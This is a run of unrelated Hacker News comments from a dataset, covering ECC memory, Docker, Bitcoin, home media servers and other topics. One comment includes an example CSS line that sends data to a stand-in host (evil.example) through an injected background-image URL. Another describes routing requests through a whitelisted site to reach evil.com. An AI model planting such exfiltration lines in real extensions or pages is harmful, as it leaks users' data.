skysight-inc/HackerNews huggingface dataset:
I understand what you say; you want people to solve problems, not to execute tasks. But, there're some points that I figured out myself during my career that may be useful:

> I want them to figure it out

Can they actually figure it out without someone explaining some oddly specific detail related to the company/domain/country?

If you have some very precise requirement that you absolutely want to be satisfied, are you telling them, or do you expect them to "figure it out" because "it's the only right way to do it"?

If they cannot figure it out, and they cannot REALIZE they should have until too late, will they be punished for their mistakes, or are they allowed to make mistakes while learning by themselves?

I find that many people, especially bosses/managers/CEOs/whoever has/thinks having the power, think that their view is the Only One View; who does things differently is Just Wrong (as you say yourself about your past bosses), but they DO NOT CARE about explaining their wishes to whoever is working with them. Since this is quite a prevalent attitude, people tend to ask details about their jobs. This isn't bad, and most people, once they feel safe and properly valued, just stop, in my own experience.
What stops a malicious app from spoofing that?
these days he's more famous for the NaCl crypto library
How to Always Act Right
Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
The interesting thing is that Lisp syntax editing mechanics scale. There are more “moves” that you can do with a Lisp, especially if most your code is also functional.

My approach: learn 2-4 navigational moves first for a while. Then add more nav and editing moves at a later point.

As with everything: deliberate practice leads to mastery. At some point it becomes apparent that the weird syntax is a feature that has huge upsides (another one being macros for example).
I think the fishiness is exactly what your intuition is pointing to: root is easy, "proper" is not. There are very few applications where you need true root at runtime, and most can get by with correctly configured user space.

The issue is complexity and lack of appropriate abstractions.

The "Let's Encrypt" of dockerfile safety would be something that makes it trivial to 1) create a user 2) chmod/chown an appropriate spot on the fs, 3) ideally let the author defer these actions to always finalize the image in user mode. That way, you declare at the top that you will do these user actions, but RUN stays as root. Or just provide an SRUN, SCOPY,SADD directive which acts like running with sudo. Then, you can easily extend a layer or base image without being concerned with the details of how user space is implemented.

Also there is no standard or idiomatic protocol for setting up user space in a dockerfile.
Not quite. It would require a massive investment on top of the current 5G deployment.

Replacing fiber, cable, or DSL with 5G in dense urban and suburban areas is definitely not what is currently under development.
I was in a similar situation for a while. It seems Google's finally updated their index and dropped all of the PDFs, but for a while there it was pretty tough to find the actual content on my (admittedly mediocre) site.
And to explain the severity: if you control a subdomain, you're potentially getting trusted access to cookies, cross-origin requests, and so on.
For custom CSS in Safari:
Preferences => Advanced => Stylesheet dropdown
Isn't paying someone else to raise your children... not raising children? It's like comparing a bank with actual gold in a vault and many expensive physical security measures with someone who owns a futures contract with no delivery.
> “The arena will be used for high culture, meaning concerts or theater,” Russo adds, “but no gladiator shows.”

That’s a shame. Simulated gladiator shows would be a HUGE draw.

Right now, the Colosseum isn’t much to look at, just a bunch of rubble. But imagine if they had actors recreate some of the battles they had there. Maybe throw in some holographic lions. Every young boy around the world would be demanding to visit Rome.

I would argue the recreated Globe Theater in London is a better tourist attraction than the Colosseum, on account of it being a more immersive experience.
AFAIK it is built into the memory controller, at least for ECC UDIMM. There's an extra DRAM chip on the module for parity (generally 8+1), but it is memory controllers responsibility to utilize it (that's why not all CPUs support ECC)
Again, if you're categorizing acceptance of capitalism as a conservative view, then easily 90%+ of the country is conservative under this... let's just say alternative political boundary.

A tech worker (or anyone) who supports gay marriage, drug legalization, increased taxes, more government spending and a host of other liberal views is indeed a liberal as per the definition used by the overwhelming majority of people. Anti-capitalism isn't a mainstream liberal view. It is a far left view. Extremely few liberals, both in the US and abroad, support the replacement of a capital economy with a command economy. It's been interesting hearing about why you choose to categorize one of the most liberal demographics in the country as conservative. But for the sake of not repeatedly going down this tangent with so many other people as you go through life, I hope you understand that this is not at all the perspective most other people have. And making statements based on this perspective comes off a absurd to many, many people.
I think it would be nice to try for a month, to see where time is spent. Maybe finding some surprises or things to tweak to move time around to what I really want.

At least when I was a poor newly graduated boy suddenly having a salary but not much left at the end of the month, tracking everything for one month made it clear where the money went. So instead of acting on feelings I could act on data.
I agree. I should have chosen words more carefully. I think essentially all success on a large scale occurs due to chance, incredible fortune, and various forms of charity or luck. Whether that be cash injection in a startup or having loyalty from a great team who empowers you to accomplish your goals. No one does any of this alone.
Speaking of prominent institutional investors, watch Michael Saylor, CEO of MicroStrategy, and ask yourself whether this is a man fit to protect his company's shareholders:

https://youtu.be/Cg10yYZjK94?t=1h26m40s

"Bitcoin is a swarm of cyber hornets serving the goddess of wisdom, feeding on the fire of truth, exponentially growing ever smarter, faster, and stronger behind a wall of encrypted energy”

Another remarkable clip from earlier in the same Michael Saylor interview:

https://youtu.be/Cg10yYZjK94?t=1h10m

This is the guy who mainstreamed Bitcoin investment, and he seems confused and delusional. He doesn't understand the technology and talks about it in mystical terms with wide eyes

Background from Wikipedia:

On MicroStrategy's quarterly earnings conference call in July 2020, Saylor announced his intention for MicroStrategy to explore purchasing Bitcoin, gold, or other alternative assets instead of holding cash. The following month, MicroStrategy used $250 million from its cash stockpile to purchase 21,454 Bitcoin.

MicroStrategy later added $175 million of Bitcoin to its holdings in September 2020 and another $50 million in early December 2020. On December 11, 2020, MicroStrategy announced that it had sold $650 million in convertible senior notes, taking on debt to increase its Bitcoin holdings to over $1 billion worth. On December 21, 2020 MicroStrategy announced their total holdings include 70,470 bitcoins purchased for $1.125 billion at an average price of $15,964 per bitcoin. Saylor, who controls 70% of MicroStrategy's shares, dismissed concerns by observers that the move is turning MicroStrategy into a Bitcoin investment firm or exchange-traded fund (ETF).
Interesting. How do you keep track of all the in progess TTLs? How do you decide the TTL length?

Won't this process end up ultimately filling the team's/project schedule with revisions of previous decisions?
'US isn't an option anymore': why California's immigrants heading back to Mexico
For the price, it made more sense for me to buy an R630 and populate it with a few less expensive, higher capacity ECC RDIMMs. I don't really need ECC as a local feature, so this lets me run on the mobile I want.
Your questions are perfectly valid. It's just that out of all the random bit flips that happen over a period of time on a non-ECC platform only a miniscule percentage will manifest to you in any noticeable way.

Most will escape your attention.
The system is corrupt, but you can't just burn it down, you have to have a better replacement first.
>> It can take up to 15 minutes in case there is no almanac data.

That sounds terrible and unacceptable these days. Correct is often more important than fast. This bug resulted in incorrect location and apparently didn't correct itself over an entire journey. That's poor design.
That's not necessarily correct.

You can passively cool threadrippers if you underclock them enough and have good ventilation in case.
Thanks for the good laugh!
> It's something somebody fresh out of a "Boot Camp" would ask.

That’s the idea...the linked post is a part of Stack Exchange’s FAQ library. Perhaps a better title could provide a slightly more useful summary of the content, but HN guidelines discourage editorializing submission titles.
AMD Patent Reveals Hybrid CPU-FPGA Design That Could Be Enabled by Xilinx Tech
Well maybe. Rather than having to trust memory completely, it would just be better to use a binary format where each bit is verifiable so then at least a single bit flip would be immediately obvious. For example, a bit flip in a TLS session causes the whole session to fail rather than a random page element to change.
I once got to tell a CTO the reason our shiny new point to point connection was suddenly trash was due to solar flares.
Prop 14 (1964) amended the CA constitution to re-legalize housing discrimination
It's great that the author promotes both Nim and GTK4, which, in my opinion, are both great opensource projects. But I think the author should make it clear that he disabled text anti-aliasing for some reason. A lot of people in this thread are complaining how bad the text rendering is. As someone who uses GNOME (build with GTK) for years, I want to make it clear: GTK supports both anti-aliasing and hinting. The text rendering looks great! It's really just one web search away to check the effects.
>> From what I've seen the biggest killer of projects like this is that the creator gets bored with them.

Yes, exactly! I think you need to have a sincere interest in your product to keep working on it. At least this is what I feel about my own projects.

If I do something that has a (hidden, often even to myself) motivation to make money or promote my other products, I tend to quickly abandon it. On the other hand if I work on something that I like, I keep doing it for years without making any money at all.

I run a small site that lists projects made by indie devs who share their revenue and I see that the ones who succeed have been working on their products often for years. And they like their products. It's interesting for them. Otherwise they couldn't have done this for a long periods of time without a big revenue. This big revenue usually comes later. And you can feel it from the product too if the maker has put their soul into it.
In general this should save money in the research budget line. Especially, when the research in separate centers (labs, universities etc) is funded from the public-supported programs/grants. Of course, it's a question about terms of the deal.

Still, the government being a government can just mandate an open-access pre-publication in a national archive. China required in-advance submission of all technical docs just to allow a foreign product on their market. India is a huge market too, so there's quite a bit of leverage there for this.
Covid-19: Multi-Organ Sequellae
How did you run those tests? From what I understand on the topic, for your results to be statistically significant you need at least hundreds of machines and very rigid testing methodology.
Credit history is equally location dependent as the use of credit cards. It's simply not a thing over here. Whether you'll be granted a mortgage (usually) simply depends on whether or not you have a steady source of income that's sufficient to cover the risk. Whether or not you missed a CC payment when you were on an extended trip really doesn't factor into it. I think I prefer it this way.
Yeah, that makes sense. If the killer app is JVM interop, nothing but JVM based languages should even be on the table. The "why Clojure?" question just becomes "because Clojure is the best language on the JVM," which is not too interesting of a topic IMO.

Haskell has decent interop with C/C++ languages, but certainly nobody uses haskell because of that.
Yeah, which is a considerable inconvenience -- I know because I lived it -- all to achieve zero reduction in effective attack surface.
> Pro/Enterprise plan with features like (SSO and integrations)

https://sso.tax/
This. How many user documents have memory flip errors introduced that are never detected? Impossible to say, but it is not a small number given the world-wide use of DRAM. Most are in trivial and unimportant documents, but some aren't...
Measure the power consumption of tech services
https://github.com/netdata/netdata/issues/1508

Looks like `mcelog --client` might be a starting place? Feed that into your metrics pipeline and alert on it like anything else...
I don’t see how this is different from using the pdb Python module?
You can catch exceptions and use to write functions.
Hasn't he learned his lesson from last time?
And yet, this is how everything else in the world works.

I'm free to go buy 12 packs of Coke and resell them. I don't have to ask Coke if I can sell their product. I can even drive and deliver them to people if I want.

> Why do they feel the need to impersonate restaurants, steal their menu, their trademark while never disclosing to the client that the restaurant has absolutely no part in that deal?

Steal is a misleading term, as it implies that the restaurant is not able to use that menu. Delivery services are extracting and copying the information in the menu. They don't even show photos of the menu as far as I'm aware.

I don't see anything unethical here. They offer delivery of goods. You pay them, they pay their supplier (the restaurant), and they deliver you the goods. It's not any different than a restaurant, except their service is delivering food instead of converting raw ingredients into food.

If this is really unethical, why aren't we targeting drop shippers? They're even worse, they actually rebrand the goods so you can't tell who actually manufactured it. They play the exact same role; their only service is providing delivery for goods someone else manufactured.
There's also significant backing from Datto, which uses ZFS in their storage appliances, and Delphix, which uses ZFS in their database appliances.
It's born a new mathematical problem
Apologies, you're totally right. I should have linked to the source:

http://lambda-diode.com/opinion/ecc-memory#:~:text=A%20syste....
That number is flawed, and the author did a follow-up with better results:
http://lambda-diode.com/opinion/ecc-memory-2

"33 to 600 days to get a 96% chance of getting a bit error."
Still, it seems way too high. I guess anyone with ECC RAM could confirm that they are getting those sort of recovered error rates?
I agree asciidoc is superior to markdown... however, "the worst is better" attitude in our industry will make sure that markdown continuous to thrive.
> It really puts a point on the whole "everyone has 24 hours in a day, but not everyone's 24 hours are equal".

Great point. Further driven by the pandemic
That's one of the most fundamental functions a browser extension could have
Really appreciate your business. I have used it as my guitar buying superpower myself. To the tune of 200 or so :0
Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com is all that shows but it requests good.com?dest=https://evil.com
Christianity, essentially
In addition to plex serving a bunch of video/music media, my home media server also serves:

- Old Videos Games via shared folders to local setups of retroarch via Steamlink to my TV. I have literally thousands of retro games available from Atari VCS to PS2 I can play at a moment's notice. Using playnite I've also pulled together all the games from Steam, Gog and Epic into one place which all streams relatively well to my TV via Steamlink.

- Books, Comic books, Papers, and Magazines. I use ubooquity over calibre since it just fits my style and needs better. I have almost 100,000 pieces of readable media organized and available.

- Photos, we travel a lot and I like photography. So I have hundreds of thousands of photos also served up via plex.

I use two computers to do this. One is a cheap file/media server that's running plex and ubooquity. It's attached to two Mediasonic 4-bay probox serving up somewhere around 70TB of raw storage. The other is a higher-end daily-use computer with a decent GPU that can push the steamlink games and emulate old games with filters really well. It has 32GB of RAM but only around 4.5TB of storage -- which is fine since I use the file serve for most everything.

I should probably consolidate both machines down to one higher-end system and offload my desktop activities to a lower-end system but this setup is more something that's grown organically over time and wasn't really "designed".

However, the end effect is, I can plop in front of my TV, and choose from a virtually unlimited collection of media. And when I want to read something, I'm exclusively tablet now on the couch or in bed, and have virtually unlimited amount of reading material available as well.

I'll watch, play, and read something pretty much every day, so this setup has proven itself immensely. It's also allowed me to eliminate rooms full of media, game systems, and other

The only remaining hangup that I'm not happy about is how to best handle audiobooks. Right now I shove them into plex as another audio library, but it's kind of a mess and plex thinks they're all music or something. Tbh, I don't really like how plex serves up audio anyways. I also love it if plex just supported ebooks in the way ubooquity does, then I could unify my servers and also more easily serve reading material outside my home network.

The last remaining media I really want to be able to serve up in someway without converting them all are old chiptunes, amiga mods and other demoscene tracker music. I have a huge collection but haven't yet found a good way to serve them up in a way I like and have them accessible in the ways I have my other media available.
Lirik.app – Lyrics for Spotify
Lirik.app shows lyrics for currently playing song in your Spotify account. It's super simple to use, just login to see Lyrics.
It's built by me, let me know about your thoughts.
pretty nice review and forecast. I just feel it a little bit "old-fashioned" to talk technology progression as if Humans are the only living species on Earth...
That is not what happened in this particular case though.
I think the memory just provides additional storage bits to detect the issue, but doesn't contain the logic.

This is in line with all technical parameters of DRAM: everything must be as cheap as possible, and all the difficult parts are moved to the memory controller.

Which is the right thing to do, because you can share one memory controller with multiple DRAM chips.
There was no “following municipality” for about 1000 years. Not one rich enough to fund that size of show.
Were you around for enough DRAM generations to notice an effect of DRAM density / cell-size on reported ECC error rate?

I’ve always believed that, ECC aside, DRAM made intentionally with big cells would be less prone to spurious bit-flips (and that this is one of the things NASA means when they talk about “radiation hardening” a computer: sourcing memory with ungodly-large DRAM cells, willingly trading off lower memory capacity for higher per-cell level-shift activation-energy.)

If that’s true, then that would mean that the per-cell error rate would have actually been increasing over the years, as DRAM cell-size decreased, in the same way cell-size decrease and voltage-level tightening have increased error rate for flash memory. Combined with the fact that we just have N times more memory now, you’d think we’d be seeing a quadratic increase in faults compared to 40 years ago. But do we? It doesn’t seem like it.

I’ve also heard a counter-effect proposed, though: maybe there really are far more “raw” bit-flips going on — but far less of main memory is now in the causal chain for corrupting a workload than it used to be. In the 80s, on an 8-bit micro, POKEing any random address might wreck a program, since there’s only 64k addresses to POKE and most of the writable ones are in use for something critical. Today, most RAM is some sort of cache or buffer that’s going to be used once to produce some ephemeral IO effect (e.g. the compressed data for a video frame, that might decompress incorrectly, but only cause 16ms of glitchiness before the next frame comes along to paper over it); or, if it’s functional data, it’s part of a fault-tolerant component (e.g. a TCP packet, that’s going to checksum-fail when passed to the Ethernet controller and so not even be sent, causing the client to need to retry the request; or, even if accidentally checksums correctly, the server will choke on the malformed request, send an error... and the client will need to retry the request. One generic retry-on-exception handler around your net request, and you get memory fault-tolerance for free!)

If both effects are real, this would imply that regular PCs without ECC should still seem quite stable — but that it would be a far worse idea to run a non-ECC machine as a densely-packed multitenant VM hypervisor today (i.e. to tile main memory with OS kernels), than it would have been ~20 years ago when memory densities were lower. Can anyone attest to this?

(I’d just ask for actual numbers on whether per-cell per-second errors have increased over the years, but I don’t expect anyone has them.)
When looking for a CPU for a server that sits in my living room, I went down the thought process of getting a low tdp. I don't have a quote, but I seem to remember coming to the conclusion that tdp is the max temp threshold, not the consistent power draw. If you have a computer idling I believe you won't see a difference in temp between cpus, but you will have the performance when you need it.

These days, a quiet, pwm fan with good thermal paste (and maybe some linux CPU throttling) more than achieves my needs for a "silent" pc 99% of the time.

I would love to be told my above assumptions are wrong if they are.
To hear "Ok Google" it need to record everything and process everything. Adding "toilett paper" as a processing keyword would not be noticable on battery life.